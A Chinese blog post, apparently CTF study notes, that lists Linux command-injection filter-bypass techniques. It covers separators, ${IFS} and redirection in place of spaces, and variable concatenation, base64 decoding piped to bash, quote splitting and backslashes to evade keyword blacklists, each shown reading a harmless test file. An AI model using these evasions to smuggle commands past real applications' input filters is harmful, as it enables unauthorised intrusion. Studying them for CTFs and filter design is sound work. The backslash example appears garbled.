谈谈绕过的方法
在这之前,我们先来总结一下常用的命令注入绕过方法,还是挺有意思的,会对 Linux 指令更加熟练(下面有些 Linux 命令只在 bash 下有效,在 zsh 里面可能会不行)
2019.12.19 补充:这些绕过真的是太骚了,马的,这些人怎么想出来的!
拼接型
命令 | 作用 |
---|---|
& | 表示任务在后台执行 |
&& | 表示前一条命令执行成功时才执行后面一条命令 |
| | 表示上一命令的输出作为下一命令的参数 |
|| | 表示上一条命令执行失败后才执行下一条命令 |
; | 不管前面的命令成不成功都执行后面的命令 |
奇淫技巧
在网上看博客的时候就发现了好多命令注入绕过的方法,真是刷新了我的思维,记录一下
绕过空格
Linux 下会有很多可以绕过空格的方法,因为题目可能会限制我们不能输入空格,但是我们可以通过一些特殊的字符绕过,现在假设我们的环境是 Linux ,当前环境下有一个名叫 file1 的文件,我们现在要访问里面的内容,一般就是使用 cat
命令了
$ cat file1
hello
world
${IFS}
要是不让用空格呢?在 Linux 下,有很多方法可以绕过空格, {IFS} IFS9 {IFS}9 都表示空格,可以绕过空格,这里 IFS 表示的是 Linux 下的分隔符
代码语言:javascript复制kevin@laptop:~$ cat$IFS$9file1
hello
world
kevin@laptop:~$ cat${IFS}$9file1
hello
world
kevin@laptop:~$ cat${IFS}file1
hello
world
重定向
或者也可以直接用重定向 <>
或者 <
来取代空格
kevin@laptop:~$ cat<>file1
hello
world
kevin@laptop:~$ cat<file1
hello
world
绕过黑名单
依然是上面的例子,如果现在不让我们使用 cat 命令了呢?怎么才能获取到文件里面的内容呢(可能有人会说用 strings 啊,当然可以,但如果只能用 cat 呢)
命令拼接绕过
代码语言:javascript复制kevin@laptop:~$ a=c;b=a;c=t;$a$b$c file1
hello
world
利用系统已存在资源绕过
从已有的文件或者环境变量中获得相应的字符,不过这个得题目的系统上存在这个环境变量或文件,做题的时候应该会有些提示
base64 编码绕过
这个真的是骚到我了,并且知道了原来 Linux 系统自带 base64 编码解码命令,先来看下是怎么用的吧
代码语言:javascript复制[root@localhost ~]# echo cat file1|base64 #加密
Y2F0IGZpbGUxCg==
[root@localhost ~]# echo Y2F0IGZpbGUxCg== |base64 -d #解密
cat file1
因为 ` 会将里面的东西变成 Linux 命令执行,那我们就可以输入下面的命令来进行绕过查看文件内容了
代码语言:javascript复制kevin@laptop:~$ `echo Y2F0IGZpbGUxCg== |base64 -d`
hello
world
然而如果题目将 ` 也给 ban 了的话,我们也可以将上面的输出重定向到 bash 来执行
代码语言:javascript复制kevin@laptop:~$ echo Y2F0IGZpbGUxCg== |base64 -d | bash
hello
world
知道这个之后,不仅可以用 base64 进行绕过,还可以用 base32 进行绕过,系统自带 base64 和 base32 命令
引号(单、双)绕过
想不到吧,引号也能绕过,我是服气的!好像只要有配对闭合的引号就能够相互抵消掉
代码语言:javascript复制kevin@laptop:~$ c'a't fi""le1
hello
world
kevin@laptop:~$ c''"at" file1
hello
world
反斜线绕过
输入命令的时候,如果命令太长了的话可以用 来换行输入,这样也可以绕过命令
kevin@laptop:~$ cat file1
hello
world
kevin@laptop:~$ cat file1
hello
world
Linux 中已经存在的一些字符
- ${PS2} 对应字符 ‘>’
- ${PS4} 对应字符 ‘ ’
- ${IFS} 对应 内部字段分隔符
- ${9} 对应 空字符串
不过在使用 ${PS2}
打算绕过重定向的时候报错了,目前暂时还不知道原因
kevin@laptop:~$ echo hello ${PS2}file2
hello > file2
kevin@laptop:~$ echo hello >file2
kevin@laptop:~$ `echo hello ${PS2}file2`
Command 'hello' not found, but can be installed with:
sudo apt install hello
sudo apt install hello-traditional
reference
命令执行的一些绕过技巧
ctf命令执行与绕过
https://www.cnblogs.com/v1vvwv/p/DVWA-Command-Injection.html